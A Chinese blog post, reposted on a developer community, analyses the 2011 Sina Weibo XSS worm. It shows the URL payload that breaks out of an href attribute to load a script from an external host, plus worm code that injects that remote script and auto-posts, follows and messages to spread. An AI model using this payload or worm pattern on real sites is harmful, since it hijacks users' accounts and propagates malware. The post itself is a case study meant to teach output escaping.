开发者社区> 技术mix呢> 正文

XSS-从weibo蠕虫事件学习

简介:
+关注继续查看

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

 

Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):

 

sina的名人堂页面页面上存在这么个链接

<a href="http://weibo.com/pub/star/g/123">这个是xss</a>

 

其实在服务器端是这么写的(猜测,真实代码长啥样不知道,但是一定是忘记做转义就输出了):

Echo '<a href="http://weibo.com/pub/star/g/{$uname}">这个是xss</a>'

 

其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。

这样的html就是存在xss漏洞

 

好了,这个漏洞被发现了,下面要利用它做什么呢?

1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这样这个url就变成了

clip_image001

其中的引号被封闭了,然后这个页面自动运行了一段js脚本

 

这个js脚本做了这样的事情:

1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)

2 加关注uid为2201270010

3 发私信,向好友传播链接

 

js的下载代码在http://www.stwind.org/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip

 

1
2
3
4
5
6
7
8
9
10
11
try{
 
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
 
}
 
catch(e){}
 
main();
 
var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

 

其中就是在打开的页面加入了<script节点>,并执行

main中是发送微博,加关注,发私信三个动作

当5000秒后,当前页重新定位到public/topic上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function main(){
 
try{
 
publish();
 
}
 
catch(e){}
 
try{
 
follow();
 
}
 
catch(e){}
 
try{
 
message();
 
}
 
catch(e){}
 
}
比如

 

1
2
3
4
5
6
7
8
9
function publish(){
 
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
 
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
 
post(url,data,true);
 
}

模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题

 

直接post就可以产生这个效果

 

注:这次事件中还用到了短链接服务

短链接服务能自定义用户链接,比如http://weibo.com/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这么长一个链接能变为http://t.cn/atmcqn

这样能增加用户的点击成功率

 

事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!

 

本文转自轩脉刃博客园博客,原文链接:http://www.cnblogs.com/yjf512/archive/2012/03/08/2385093.html,如需转载请自行联系原作者


版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
网络安全——xss漏洞之最全事件函数汇总
还在为xss漏洞找不到而发愁?看看这篇最全xss攻击函数汇总在说
93 0
[网络安全]XSS之Cookie外带攻击姿势及例题详析
XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息。
17 0
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集
trim() 函数移除字符串两侧的空格,以确保数据在插入到数据库时没有多余的空白字符
11 0
[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集
先提交name1 浏览顶部URL栏发现为GET请求
8 0
[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集
XSS(DOM)-low level 源代码未进行任何过滤 复选框中的内容为可变参数
12 0
Spring Boot 如何防护 XSS + SQL 注入攻击 ?终于懂了!
Spring Boot 如何防护 XSS + SQL 注入攻击 ?终于懂了!
255 0
Spring Boot 如果防护 XSS + SQL 注入攻击 ?一文带你搞定!
Spring Boot 如果防护 XSS + SQL 注入攻击 ?一文带你搞定!
155 0
Java 最常见的面试题:什么是 XSS 攻击,如何避免?
Java 最常见的面试题:什么是 XSS 攻击,如何避免?
43 0
前端实践:如何防止xss跨站脚本攻击(vue代码说明)
XSS(跨站脚本)攻击是一种常见的网络安全漏洞,攻击者通过在网页中注入恶意脚本代码,从而实现窃取用户信息、盗取会话令牌等攻击目的。为了防止XSS攻击,我们可以采取以下措施:
5362 0
+关注
技术mix呢
文章
问答
视频
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载